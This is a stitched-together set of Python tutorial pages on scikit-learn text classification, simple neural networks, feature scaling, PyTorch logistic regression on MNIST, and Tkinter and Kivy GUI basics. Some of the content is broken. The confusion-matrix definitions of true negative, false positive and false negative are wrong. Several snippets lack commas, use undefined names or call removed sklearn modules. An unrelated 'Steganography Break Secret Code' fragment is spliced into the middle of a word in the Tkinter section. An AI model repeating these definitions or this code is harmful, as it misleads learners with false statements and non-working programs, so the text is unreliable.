        # take main stem of each word
        ps = PorterStemmer()
         
        # loop for stemming each word
        # in string array at ith row   
        review = [ps.stem(word) for word in review
                    if not word in set(stopwords.words('english'))]
                     
        # rejoin all string array elements
        # to create back into a string
        review = ' '.join(review) 
         
        # append each string to create
        # array of clean text
        corpus.append(review)

    Examples: Before and after applying above code (reviews = > before, corpus => after)
     

    Step 3: Tokenization, involves splitting sentences and words from the body of the text.
    Step 4: Making the bag of words via sparse matrix
     

    Examples: Let’s take a dataset of reviews of only two reviews 
     

    Input : "dam good steak", "good food good service"
    Output :
     

     

    For this purpose we need CountVectorizer class from sklearn.feature_extraction.text. 
    We can also set a max number of features (max no. features which help the most via attribute “max_features”). Do the training on the corpus and then apply the same transformation to the corpus “.fit_transform(corpus)” and then convert it into an array. If the review is positive or negative that answer is in the second column of the dataset[:, 1]: all rows and 1st column (indexing from zero).
     

    Python3




    # Creating the Bag of Words model
    from sklearn.feature_extraction.text import CountVectorizer
     
    # To extract max 1500 feature.
    # "max_features" is attribute to
    # experiment with to get better results
    cv = CountVectorizer(max_features = 1500)
     
    # X contains corpus (dependent variable)
    X = cv.fit_transform(corpus).toarray()
     
    # y contains answers if review
    # is positive or negative
    y = dataset.iloc[:, 1].values

    Description of the dataset to be used:
     

    • Columns separated by \t (tab space)
    • First column is about reviews of people
    • In second column, 0 is for negative review and 1 is for positive review

    Step 5: Splitting Corpus into Training and Test set. For this, we need class train_test_split from sklearn.cross_validation. Split can be made 70/30 or 80/20 or 85/15 or 75/25, here I choose 75/25 via “test_size”. 
    X is the bag of words, y is 0 or 1 (positive or negative).
     

    Python3




    # Splitting the dataset into
    # the Training set and Test set
    from sklearn.cross_validation import train_test_split
     
    # experiment with "test_size"
    # to get better results
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25)

    Step 6: Fitting a Predictive Model (here random forest) 
     

     

    Python3




    # Fitting Random Forest Classification
    # to the Training set
    from sklearn.ensemble import RandomForestClassifier
     
    # n_estimators can be said as number of
    # trees, experiment with n_estimators
    # to get better results
    model = RandomForestClassifier(n_estimators = 501,
                                criterion = 'entropy')
                                 
    model.fit(X_train, y_train)

    Step 7: Predicting Final Results via using .predict() method with attribute X_test 
     

    Python3




    # Predicting the Test set results
    y_pred = model.predict(X_test)
     
    y_pred

    Note: Accuracy with the random forest was 72%.(It may be different when performed an experiment with different test sizes, here = 0.25).
    Step 8: To know the accuracy, a confusion matrix is needed.
    Confusion Matrix is a 2X2 Matrix.
     

    TRUE POSITIVE : measures the proportion of actual positives that are correctly identified. 
    TRUE NEGATIVE : measures the proportion of actual positives that are not correctly identified. 
    FALSE POSITIVE : measures the proportion of actual negatives that are correctly identified. 
    FALSE NEGATIVE : measures the proportion of actual negatives that are not correctly identified.

    Note: True or False refers to the assigned classification being Correct or Incorrect, while Positive or Negative refers to assignment to the Positive or the Negative Category 
     

     

    Python3




    # Making the Confusion Matrix
    from sklearn.metrics import confusion_matrix
     
    cm = confusion_matrix(y_test, y_pred)
     
    cm


    My Personal Notes arrow_drop_up

    Learning Model Building in Scikit-learn : A Python Machine Learning Library

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Hard
    • Last Updated : 27 Dec, 2021

    Pre-requisite: Getting started with machine learning 
    scikit-learn is an open-source Python library that implements a range of machine learning, pre-processing, cross-validation, and visualization algorithms using a unified interface.

    Important features of scikit-learn: 

    In this article, we are going to see how we can easily build a machine learning model using scikit-learn. 

    Installation:

    Scikit-learn requires:  

    Before installing scikit-learn, ensure that you have NumPy and SciPy installed. Once you have a working installation of NumPy and SciPy, the easiest way to install scikit-learn is using pip: 

    pip install -U scikit-learn

    Let us get started with the modeling process now.

    Step 1: Load a dataset

    A dataset is nothing but a collection of data. A dataset generally has two main components: 

    Loading exemplar dataset: scikit-learn comes loaded with a few example datasets like the iris and digits datasets for classification and the boston house prices dataset for regression. 

    Given below is an example of how one can load an exemplar dataset: 

    Python




    # load the iris dataset as an example
    from sklearn.datasets import load_iris
    iris = load_iris()
       
    # store the feature matrix (X) and response vector (y)
    X = iris.data
    y = iris.target
       
    # store the feature and target names
    feature_names = iris.feature_names
    target_names = iris.target_names
       
    # printing features and target names of our dataset
    print("Feature names:", feature_names)
    print("Target names:", target_names)
       
    # X and y are numpy arrays
    print("\nType of X is:", type(X))
       
    # printing first 5 input rows
    print("\nFirst 5 rows of X:\n", X[:5])

    Output: 

    Feature names: ['sepal length (cm)','sepal width (cm)',
                    'petal length (cm)','petal width (cm)']
    Target names: ['setosa' 'versicolor' 'virginica']
    
    Type of X is: 
    
    First 5 rows of X:
     [[ 5.1  3.5  1.4  0.2]
     [ 4.9  3.   1.4  0.2]
     [ 4.7  3.2  1.3  0.2]
     [ 4.6  3.1  1.5  0.2]
     [ 5.   3.6  1.4  0.2]]

    Loading external dataset: Now, consider the case when we want to load an external dataset. For this purpose, we can use the pandas library for easily loading and manipulating datasets.

    To install pandas, use the following pip command:  

    pip install pandas

    In pandas, important data types are:
    Series: Series is a one-dimensional labeled array capable of holding any data type.

    DataFrame: It is a 2-dimensional labeled data structure with columns of potentially different types. You can think of it like a spreadsheet or SQL table, or a dict of Series objects. It is generally the most commonly used pandas object.
    Note: The CSV file used in the example below can be downloaded from here: weather.csv

    Python




    import pandas as pd
       
    # reading csv file
    data = pd.read_csv('weather.csv')
       
    # shape of dataset
    print("Shape:", data.shape)
       
    # column names
    print("\nFeatures:", data.columns)
       
    # storing the feature matrix (X) and response vector (y)
    X = data[data.columns[:-1]]
    y = data[data.columns[-1]]
       
    # printing first 5 rows of feature matrix
    print("\nFeature matrix:\n", X.head())
       
    # printing first 5 values of response vector
    print("\nResponse vector:\n", y.head())

    Output: 

    Shape: (14, 5)
    
    Features: Index([u'Outlook', u'Temperature', u'Humidity', 
                    u'Windy', u'Play'], dtype='object')
    
    Feature matrix:
         Outlook Temperature Humidity  Windy
    0  overcast         hot     high  False
    1  overcast        cool   normal   True
    2  overcast        mild     high   True
    3  overcast         hot   normal  False
    4     rainy        mild     high  False
    
    Response vector:
    0    yes
    1    yes
    2    yes
    3    yes
    4    yes
    Name: Play, dtype: object

    Step 2: Splitting the dataset
    One important aspect of all machine learning models is to determine their accuracy. Now, in order to determine their accuracy, one can train the model using the given dataset and then predict the response values for the same dataset using that model and hence, find the accuracy of the model. 
    But this method has several flaws in it, like: 

    A better option is to split our data into two parts: the first one for training our machine learning model, and the second one for testing our model. 

    To summarize:  

    Advantages of train/test split:  

    Consider the example below: 

    Python




    # load the iris dataset as an example
    from sklearn.datasets import load_iris
    iris = load_iris()
     
    # store the feature matrix (X) and response vector (y)
    X = iris.data
    y = iris.target
     
    # splitting X and y into training and testing sets
    from sklearn.model_selection import train_test_split
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=1)
     
    # printing the shapes of the new X objects
    print(X_train.shape)
    print(X_test.shape)
     
    # printing the shapes of the new y objects
    print(y_train.shape)
    print(y_test.shape)

    Output: 

    (90L, 4L)
    (60L, 4L)
    (90L,)
    (60L,)

    The train_test_split function takes several arguments which are explained below:  

    Step 3: Training the model

    Now, it’s time to train some prediction models using our dataset. Scikit-learn provides a wide range of machine learning algorithms that have a unified/consistent interface for fitting, predicting accuracy, etc.
    The example given below uses KNN (K nearest neighbors) classifier.

    Note: We will not go into the details of how the algorithm works as we are interested in understanding its implementation only. 

    Now, consider the example below: 

    Python




    # load the iris dataset as an example
    from sklearn.datasets import load_iris
    iris = load_iris()
     
    # store the feature matrix (X) and response vector (y)
    X = iris.data
    y = iris.target
     
    # splitting X and y into training and testing sets
    from sklearn.model_selection import train_test_split
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=1)
     
    # training the model on training set
    from sklearn.neighbors import KNeighborsClassifier
    knn = KNeighborsClassifier(n_neighbors=3)
    knn.fit(X_train, y_train)
     
    # making predictions on the testing set
    y_pred = knn.predict(X_test)
     
    # comparing actual response values (y_test) with predicted response values (y_pred)
    from sklearn import metrics
    print("kNN model accuracy:", metrics.accuracy_score(y_test, y_pred))
     
    # making prediction for out of sample data
    sample = [[3, 5, 4, 2], [2, 3, 5, 4]]
    preds = knn.predict(sample)
    pred_species = [iris.target_names[p] for p in preds]
    print("Predictions:", pred_species)
     
    # saving the model
    from sklearn.externals import joblib
    joblib.dump(knn, 'iris_knn.pkl')

    Output: 

    kNN model accuracy: 0.983333333333
    Predictions: ['versicolor', 'virginica']

    Important points to note from the above code:  

     knn = KNeighborsClassifier(n_neighbors=3)
     knn.fit(X_train, y_train)
     y_pred = knn.predict(X_test)
    print(metrics.accuracy_score(y_test, y_pred))
    sample = [[3, 5, 4, 2], [2, 3, 5, 4]]
    preds = knn.predict(sample)
    joblib.dump(knn, 'iris_knn.pkl')
    knn = joblib.load('iris_knn.pkl') 

    As we approach the end of this article, here are some benefits of using scikit-learn over some other machine learning libraries(like R libraries):  

    References:  

    This article is contributed by Nikhil Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Implementing Artificial Neural Network training process in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 22 Jan, 2022

    An Artificial Neural Network (ANN) is an information processing paradigm that is inspired the brain. ANNs, like people, learn by example. An ANN is configured for a specific application, such as pattern recognition or data classification, through a learning process. Learning largely involves adjustments to the synaptic connections that exist between the neurons. 
     
     

    Artificial neural network1

    The brain consists of hundreds of billions of cells called neurons. These neurons are connected together by synapses which are nothing but the connections across which a neuron can send an impulse to another neuron. When a neuron sends an excitatory signal to another neuron, then this signal will be added to all of the other inputs of that neuron. If it exceeds a given threshold then it will cause the target neuron to fire an action signal forward — this is how the thinking process works internally.
    In Computer Science, we model this process by creating “networks” on a computer using matrices. These networks can be understood as an abstraction of neurons without all the biological complexities taken into account. To keep things simple, we will just model a simple NN, with two layers capable of solving a linear classification problem.
     

    Artificial neural network1

    Let’s say we have a problem where we want to predict output given a set of inputs and outputs as training example like so:

    Artificial neural network2

    Note that the output is directly related to the third column i.e. the values of input 3 is what the output is in every training example in fig. 2. So for the test example output value should be 1.
     

    The training process consists of the following steps: 

    1. Forward Propagation: 
      Take the inputs, multiply by the weights (just use random numbers as weights) 
      Let Y = WiI= W1I1+W2I2+W3I3 
      Pass the result through a sigmoid formula to calculate the neuron’s output. The Sigmoid function is used to normalize the result between 0 and 1: 
      1/1 + e-y
    2. Back Propagation 
      Calculate the error i.e the difference between the actual output and the expected output. Depending on the error, adjust the weights by multiplying the error with the input and again with the gradient of the Sigmoid curve: 
      Weight += Error Input Output (1-Output) ,here Output (1-Output) is derivative of sigmoid curve.

    Note: Repeat the whole process for a few thousand iterations.
    Let’s code up the whole process in Python. We’ll be using the Numpy library to help us with all the calculations on matrices easily. You’d need to install a numpy library on your system to run the code 
    Command to install numpy: 

     sudo apt -get install python-numpy

    Implementation:

    Python3




    from joblib.numpy_pickle_utils import xrange
    from numpy import *
     
     
    class NeuralNet(object):
        def __init__(self):
            # Generate random numbers
            random.seed(1)
     
            # Assign random weights to a 3 x 1 matrix,
            self.synaptic_weights = 2 * random.random((3, 1)) - 1
     
        # The Sigmoid function
        def __sigmoid(self, x):
            return 1 / (1 + exp(-x))
     
        # The derivative of the Sigmoid function.
        # This is the gradient of the Sigmoid curve.
        def __sigmoid_derivative(self, x):
            return x * (1 - x)
     
        # Train the neural network and adjust the weights each time.
        def train(self, inputs, outputs, training_iterations):
            for iteration in xrange(training_iterations):
                # Pass the training set through the network.
                output = self.learn(inputs)
     
                # Calculate the error
                error = outputs - output
     
                # Adjust the weights by a factor
                factor = dot(inputs.T, error * self.__sigmoid_derivative(output))
                self.synaptic_weights += factor
     
            # The neural network thinks.
     
        def learn(self, inputs):
            return self.__sigmoid(dot(inputs, self.synaptic_weights))
     
     
    if __name__ == "__main__":
        # Initialize
        neural_network = NeuralNet()
     
        # The training set.
        inputs = array([[0, 1, 1], [1, 0, 0], [1, 0, 1]])
        outputs = array([[1, 0, 1]]).T
     
        # Train the neural network
        neural_network.train(inputs, outputs, 10000)
     
        # Test the neural network with a test example.
        print(neural_network.learn(array([1, 0, 1])))

    Expected Output: After 10 iterations our neural network predicts the value to be 0.65980921.  It looks not good as the answer should really be 1. If we increase the number of iterations to 100, we get 0.87680541. Our network is getting smarter! Subsequently, for 10000 iterations we get 0.9897704 which is pretty close and indeed a satisfactory output.
    References: 
     

    This article is contributed by Vivek Pal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    A single neuron neural network in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Hard
    • Last Updated : 06 Oct, 2021

    Neural networks are the core of deep learning, a field that has practical applications in many different areas. Today neural networks are used for image classification, speech recognition, object detection, etc. Now, Let’s try to understand the basic unit behind all these states of art techniques.
    A single neuron transforms given input into some output. Depending on the given input and weights assigned to each input, decide whether the neuron fired or not. Let’s assume the neuron has 3 input connections and one output.
     

    We will be using tanh activation function in a given example.
    The end goal is to find the optimal set of weights for this neuron that produces correct results. Do this by training the neuron with several different training examples. At each step calculate the error in the output of the neuron, and backpropagate the gradients. The step of calculating the output of a neuron is called forward propagation while the calculation of gradients is called back propagation.
    Below is the implementation : 
     

    Python3




    # Python program to implement a
    # single neuron neural network
     
    # import all necessary libraries
    from numpy import exp, array, random, dot, tanh
     
    # Class to create a neural
    # network with single neuron
    class NeuralNetwork():
         
        def __init__(self):
             
            # Using seed to make sure it'll 
            # generate same weights in every run
            random.seed(1)
             
            # 3x1 Weight matrix
            self.weight_matrix = 2 * random.random((3, 1)) - 1
     
        # tanh as activation function
        def tanh(self, x):
            return tanh(x)
     
        # derivative of tanh function.
        # Needed to calculate the gradients.
        def tanh_derivative(self, x):
            return 1.0 - tanh(x) ** 2
     
        # forward propagation
        def forward_propagation(self, inputs):
            return self.tanh(dot(inputs, self.weight_matrix))
         
        # training the neural network.
        def train(self, train_inputs, train_outputs,
                                num_train_iterations):
                                     
            # Number of iterations we want to
            # perform for this set of input.
            for iteration in range(num_train_iterations):
                output = self.forward_propagation(train_inputs)
     
                # Calculate the error in the output.
                error = train_outputs - output
     
                # multiply the error by input and then
                # by gradient of tanh function to calculate
                # the adjustment needs to be made in weights
                adjustment = dot(train_inputs.T, error *
                                 self.tanh_derivative(output))
                                  
                # Adjust the weight matrix
                self.weight_matrix += adjustment
     
    # Driver Code
    if __name__ == "__main__":
         
        neural_network = NeuralNetwork()
         
        print ('Random weights at the start of training')
        print (neural_network.weight_matrix)
     
        train_inputs = array([[0, 0, 1], [1, 1, 1], [1, 0, 1], [0, 1, 1]])
        train_outputs = array([[0, 1, 1, 0]]).T
     
        neural_network.train(train_inputs, train_outputs, 10000)
     
        print ('New weights after training')
        print (neural_network.weight_matrix)
     
        # Test the neural network with a new situation.
        print ("Testing network on new examples ->")
        print (neural_network.forward_propagation(array([1, 0, 0])))

    Output : 
     

    Random weights at the start of training
    [[-0.16595599]
     [ 0.44064899]
     [-0.99977125]]
    
    New weights after training
    [[5.39428067]
     [0.19482422]
     [0.34317086]]
    
    Testing network on new examples ->
    [0.99995873]

     


    My Personal Notes arrow_drop_up

    Python | How and where to apply Feature Scaling?

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 27 Sep, 2021

    Feature Scaling or Standardization: It is a step of Data Pre Processing that is applied to independent variables or features of data. It basically helps to normalize the data within a particular range. Sometimes, it also helps in speeding up the calculations in an algorithm.

    Package Used: 

    sklearn.preprocessing

    Import:  

     from sklearn.preprocessing import StandardScaler

    The formula used in Backend 
    Standardization replaces the values with their Z scores. 

    Mostly the Fit method is used for Feature scaling 

    fit(X, y = None)
    Computes the mean and std to be used for later scaling.

    Python




    import pandas as pd
    from sklearn.preprocessing import StandardScaler
     
    # Read Data from CSV
    data = read_csv('Geeksforgeeks.csv')
    data.head()
     
    # Initialise the Scaler
    scaler = StandardScaler()
     
    # To scale data
    scaler.fit(data)

    Why and Where to Apply Feature Scaling? 
    The real-world dataset contains features that highly vary in magnitudes, units, and range. Normalization should be performed when the scale of a feature is irrelevant or misleading and not should Normalise when the scale is meaningful.

    The algorithms which use Euclidean Distance measures are sensitive to Magnitudes. Here feature scaling helps to weigh all the features equally.

    Formally, If a feature in the dataset is big in scale compared to others then in algorithms where Euclidean distance is measured this big scaled feature becomes dominating and needs to be normalized. 

    Examples of Algorithms where Feature Scaling matters 
    1. K-Means uses the Euclidean distance measure here feature scaling matters. 
    2. K-Nearest-Neighbours also require feature scaling. 
    3. Principal Component Analysis (PCA): Tries to get the feature with maximum variance, here too feature scaling is required. 
    4. Gradient Descent: Calculation speed increase as Theta calculation becomes faster after feature scaling.

    Note: Naive Bayes, Linear Discriminant Analysis, and Tree-Based models are not affected by feature scaling. 
    In Short, any Algorithm which is Not Distance-based is Not affected by Feature Scaling.
     

    My Personal Notes arrow_drop_up

    Identifying handwritten digits using Logistic Regression in PyTorch

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 12 Aug, 2021

    Logistic Regression is a very commonly used statistical method that allows us to predict a binary output from a set of independent variables. The various properties of logistic regression and its Python implementation have been covered in this article previously. Now, we shall find out how to implement this in PyTorch, a very popular deep learning library that is being developed by Facebook.
    Now, we shall see how to classify handwritten digits from the MNIST dataset using Logistic Regression in PyTorch. Firstly, you will need to install PyTorch into your Python environment. The easiest way to do this is to use the pip or conda tool. Visit pytorch.org and install the version of your Python interpreter and the package manager that you would like to use.
    With PyTorch installed, let us now have a look at the code. Write the three lines given below to import the required library functions and objects.

    Python3




    import torch
    import torch.nn as nn
    import torchvision.datasets as dsets
    import torchvision.transforms as transforms
    from torch.autograd import Variable

    Here, the torch.nn module contains the code required for the model, torchvision.datasets contain the MNIST dataset. It contains the dataset of handwritten digits that we shall be using here. The torchvision.transforms module contains various methods to transform objects into others. Here, we shall be using it to transform from images to PyTorch tensors. Also, the torch.autograd module contains the Variable class amongst others, which will be used by us while defining our tensors.
    Next, we shall download and load the dataset to memory.

    Python3




    # MNIST Dataset (Images and Labels)
    train_dataset = dsets.MNIST(root ='./data'
                                train = True
                                transform = transforms.ToTensor(),
                                download = True)
      
    test_dataset = dsets.MNIST(root ='./data'
                               train = False
                               transform = transforms.ToTensor())
      
    # Dataset Loader (Input Pipeline)
    train_loader = torch.utils.data.DataLoader(dataset = train_dataset, 
                                               batch_size = batch_size, 
                                               shuffle = True)
      
    test_loader = torch.utils.data.DataLoader(dataset = test_dataset, 
                                              batch_size = batch_size, 
                                              shuffle = False)

    Now, we shall define our hyperparameters.

    Python3




    # Hyper Parameters 
    input_size = 784
    num_classes = 10
    num_epochs = 5
    batch_size = 100
    learning_rate = 0.001

    In our dataset, the image size is 28*28. Thus, our input size is 784. Also, 10 digits are present in this and hence, we can have 10 different outputs. Thus, we set num_classes as 10. Also, we shall train five times on the entire dataset. Finally, we will train in small batches of 100 images each so as to prevent the crashing of the program due to memory overflow.
    After this, we shall be defining our model as below. Here, we shall initialize our model as a subclass of torch.nn.Module and then define the forward pass. In the code that we are writing, the softmax is internally calculated during each forward pass and hence we do not need to specify it inside the forward() function.

    Python3




    class LogisticRegression(nn.Module):
        def __init__(self, input_size, num_classes):
            super(LogisticRegression, self).__init__()
            self.linear = nn.Linear(input_size, num_classes)
      
        def forward(self, x):
            out = self.linear(x)
            return out

    Having defined our class, now we instantiate an object for the same.

    Python3




    model = LogisticRegression(input_size, num_classes)

    Next, we set our loss function and the optimizer. Here, we shall be using the cross-entropy loss and for the optimizer, we shall be using the stochastic gradient descent algorithm with a learning rate of 0.001 as defined in the hyperparameter above.

    Python3




    criterion = nn.CrossEntropyLoss()
    optimizer = torch.optim.SGD(model.parameters(), lr = learning_rate)

    Now, we shall start the training. Here, we shall be performing the following tasks:

    1. Reset all gradients to 0.
    2. Make a forward pass.
    3. Calculate the loss.
    4. Perform backpropagation.
    5. Update all weights.

    Python3




    # Training the Model
    for epoch in range(num_epochs):
        for i, (images, labels) in enumerate(train_loader):
            images = Variable(images.view(-1, 28 * 28))
            labels = Variable(labels)
      
            # Forward + Backward + Optimize
            optimizer.zero_grad()
            outputs = model(images)
            loss = criterion(outputs, labels)
            loss.backward()
            optimizer.step()
      
            if (i + 1) % 100 == 0:
                print('Epoch: [% d/% d], Step: [% d/% d], Loss: %.4f'
                      % (epoch + 1, num_epochs, i + 1,
                         len(train_dataset) // batch_size, loss.data[0]))

    Finally, we shall be testing out the model by using the following code.

    Python3




    # Test the Model
    correct = 0
    total = 0
    for images, labels in test_loader:
        images = Variable(images.view(-1, 28 * 28))
        outputs = model(images)
        _, predicted = torch.max(outputs.data, 1)
        total += labels.size(0)
        correct += (predicted == labels).sum()
      
    print('Accuracy of the model on the 10000 test images: % d %%' % (
                100 * correct / total))

    Assuming that you performed all steps correctly, you will get an accuracy of 82%, which is far off from today’s state-of-the-art model, which uses a special type of neural network architecture. For your reference, you can find the entire code for this article below:

    Python3




    import torch
    import torch.nn as nn
    import torchvision.datasets as dsets
    import torchvision.transforms as transforms
    from torch.autograd import Variable
      
      
    # MNIST Dataset (Images and Labels)
    train_dataset = dsets.MNIST(root ='./data',
                                train = True,
                                transform = transforms.ToTensor(),
                                download = True)
      
    test_dataset = dsets.MNIST(root ='./data',
                               train = False,
                               transform = transforms.ToTensor())
      
    # Dataset Loader (Input Pipeline)
    train_loader = torch.utils.data.DataLoader(dataset = train_dataset,
                                               batch_size = batch_size,
                                               shuffle = True)
      
    test_loader = torch.utils.data.DataLoader(dataset = test_dataset,
                                              batch_size = batch_size,
                                              shuffle = False)
      
    # Hyper Parameters
    input_size = 784
    num_classes = 10
    num_epochs = 5
    batch_size = 100
    learning_rate = 0.001
      
    # Model
    class LogisticRegression(nn.Module):
        def __init__(self, input_size, num_classes):
            super(LogisticRegression, self).__init__()
            self.linear = nn.Linear(input_size, num_classes)
      
        def forward(self, x):
            out = self.linear(x)
            return out
      
      
    model = LogisticRegression(input_size, num_classes)
      
    # Loss and Optimizer
    # Softmax is internally computed.
    # Set parameters to be updated.
    criterion = nn.CrossEntropyLoss()
    optimizer = torch.optim.SGD(model.parameters(), lr = learning_rate)
      
    # Training the Model
    for epoch in range(num_epochs):
        for i, (images, labels) in enumerate(train_loader):
            images = Variable(images.view(-1, 28 * 28))
            labels = Variable(labels)
      
            # Forward + Backward + Optimize
            optimizer.zero_grad()
            outputs = model(images)
            loss = criterion(outputs, labels)
            loss.backward()
            optimizer.step()
      
            if (i + 1) % 100 == 0:
                print('Epoch: [% d/% d], Step: [% d/% d], Loss: %.4f'
                      % (epoch + 1, num_epochs, i + 1,
                         len(train_dataset) // batch_size, loss.data[0]))
      
    # Test the Model
    correct = 0
    total = 0
    for images, labels in test_loader:
        images = Variable(images.view(-1, 28 * 28))
        outputs = model(images)
        _, predicted = torch.max(outputs.data, 1)
        total += labels.size(0)
        correct += (predicted == labels).sum()
      
    print('Accuracy of the model on the 10000 test images: % d %%' % (
                100 * correct / total))

    References:

     


    My Personal Notes arrow_drop_up

    Python Tkinter Tutorial

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 28 Mar, 2021

    Tkinter is the most commonly used library for developing GUI (Graphical User Interface) in Python. It is a standard Python interface to the Tk GUI toolkit shipped with Python. As Tk and Tkinter are available on most of the Unix platforms as well as on the Windows system, developing GUI applications with Tkinter becomes the fastest and easiest.

    TkinterTutorials

    This Tkinter Tutorial will help learning Tkinter from Basics to advance GUI development, including all the necessary functions explained in detail.

    Table of Contents

    Recent Articles on Python TKinter !

    Introduction

    Widgets

    Basic Widgets

    Toplevel Widgets

    Geometry Management

    Binding Functions

    Working with Images in Tkinter

    Tkinter Advance

    Applications and Projects

     


    My Personal Notes arrow_drop_up

    Kivy Tutorial

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 21 Jul, 2021

    Kivy is a graphical user interface opensource Python library that allows you to develop multi-platform applications on Windows, macOS, Android, iOS, Linux, and Raspberry-Pi. In addition to the regular mouse and keyboard inputs, it also supports multitouch events. The applications made using Kivy will similar across all the platforms but it also means that the applications fell or look will differ from any native application.

    Kivy-Tutorials

    Table Of Content –

    Recent Articles on Kivy !!

    Getting Started

    Widgets

    Buttons

    Layouts

    The kv Design Language (.kv file tutorial)

    Widgets

    Buttons

    Layouts

    Applications and Projects

     


    My Personal Notes arrow_drop_up

    Python GUI – tkinter

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 07 Jan, 2020

    Python offers multiple options for developing GUI (Graphical User Interface). Out of all the GUI methods, tkinter is the most commonly used method. It is a standard Python interface to the Tk GUI toolkit shipped with Python. Python with tkinter is the fastest and easiest way to create the GUI applications. Creating a GUI using tkinter is an easy task.
    To create a tkinter app:

    1. Importing the module – tkinter
    2. Create the main window (container)
    3. Add any number of widgets to the main window
    4. Apply the event Trigger on the widgets.

    Importing tkinter is same as importing any other module in the Python code. Note that the name of the module in Python 2.x is ‘Tkinter’ and in Python 3.x it is ‘tkinter’.

    import tkinter
    

    There are two main methods used which the user needs to remember while creating the Python application with GUI.

    1. Tk(screenName=None,  baseName=None,  className=’Tk’,  useTk=1): To create a main window, tkinter offers a method ‘Tk(screenName=None,  baseName=None,  className=’Tk’,  useTk=1)’. To change the name of the window, you can change the className to the desired one. The basic code used to create the main window of the application is:
      m=tkinter.Tk() where m is the name of the main window object
    2. mainloop(): There is a method known by the name mainloop() is used when your application is ready to run. mainloop() is an infinite loop used to run the application, wait for an event to occur and process the event as long as the window is not closed.
      m.mainloop()




      import tkinter
      m = tkinter.Tk()
      '''
      widgets are added here
      '''
      m.mainloop()

    tkinter also offers access to the geometric configuration of the widgets which can organize the widgets in the parent windows. There are mainly three geometry manager classes class.

    1. pack() method:It organizes the widgets in blocks before placing in the parent widget.
    2. grid() method:It organizes the widgets in grid (table-like structure) before placing in the parent widget.
    3. place() method:It organizes the widgets by placing them on specific positions directed by the programmer.

    There are a number of widgets which you can put in your tkinter application. Some of the major widgets are explained below:

    1. Button:To add a button in your application, this widget is used.
      The general syntax is:
      w=Button(master, option=value)

      master is the parameter used to represent the parent window.
      There are number of options which are used to change the format of the Buttons. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • activebackground: to set the background color when button is under the cursor.
      • activeforeground: to set the foreground color when button is under the cursor.
      • bg: to set he normal background color.
      • command: to call a function.
      • font: to set the font on the button label.
      • image: to set the image on the button.
      • width: to set the width of the button.
      • height: to set the height of the button.




      import tkinter as tk
      r = tk.Tk()
      r.title('Counting Seconds')
      button = tk.Button(r, text='Stop', width=25, command=r.destroy)
      button.pack()
      r.mainloop()

      Output:

    2. Canvas: It is used to draw pictures and other complex layout like graphics, text and widgets.
      The general syntax is:
      w = Canvas(master, option=value)
      master is the parameter used to represent the parent window.

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • bd: to set the border width in pixels.
      • bg: to set the normal background color.
      • cursor: to set the cursor used in the canvas.
      • highlightcolor: to set the color shown in the focus highlight.
      • width: to set the width of the widget.
      • height: to set the height of the widget.




      from tkinter import *
      master = Tk()
      w = Canvas(master, width=40, height=60)
      w.pack()
      canvas_height=20
      canvas_width=200
      y = int(canvas_height / 2)
      w.create_line(0, y, canvas_width, y )
      mainloop()

      Output:

    3. CheckButton: To select any number of options by displaying a number of options to a user as toggle buttons. The general syntax is:
      w = CheckButton(master, option=value)

      There are number of options which are used to change the format of this widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • Title: To set the title of the widget.
      • activebackground: to set the background color when widget is under the cursor.
      • activeforeground: to set the foreground color when widget is under the cursor.
      • bg: to set he normal backgrouSteganography

        Break

        Secret Code:

        Attach a File:nd color.

      • command: to call a function.
      • font: to set the font on the button label.
      • image: to set the image on the widget.




      from tkinter import *
      master = Tk()
      var1 = IntVar()
      Checkbutton(master, text='male', variable=var1).grid(row=0, sticky=W)
      var2 = IntVar()
      Checkbutton(master, text='female', variable=var2).grid(row=1, sticky=W)
      mainloop()

      Output:

    4. Entry:It is used to input the single line text entry from the user.. For multi-line text input, Text widget is used.
      The general syntax is:
      w=Entry(master, option=value)
      

      master is the parameter used to represent the parent window.
      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • bd: to set the border width in pixels.
      • bg: to set the normal background color.
      • cursor: to set the cursor used.
      • command: to call a function.
      • highlightcolor: to set the color shown in the focus highlight.
      • width: to set the width of the button.
      • height: to set the height of the button.




      from tkinter import *
      master = Tk()
      Label(master, text='First Name').grid(row=0)
      Label(master, text='Last Name').grid(row=1)
      e1 = Entry(master)
      e2 = Entry(master)
      e1.grid(row=0, column=1)
      e2.grid(row=1, column=1)
      mainloop()

      Output:

    5. Frame: It acts as a container to hold the widgets. It is used for grouping and organizing the widgets. The general syntax is:
      w = Frame(master, option=value)
      master is the parameter used to represent the parent window.

      There are number of options which are used to change the format of the widget. Number of options can be passed as parameters separated by commas. Some of them are listed below.

      • highlightcolor: To set the color of the focus highlight when widget has to be focused.
      • bd: to set the border width in pixels.
      • bg: to set the normal background color.
      • cursor: to set the cursor used.
      • width: to set the width of the widget.
      • height: to set the height of the widget.




      from tkinter import *
        
      root = Tk()
      frame = Frame(root)
      frame.pack()
      bottomframe = Frame(root)
      bottomframe.pack( side = BOTTOM )
      redbutton = Button(frame, text = 'Red', fg ='red')
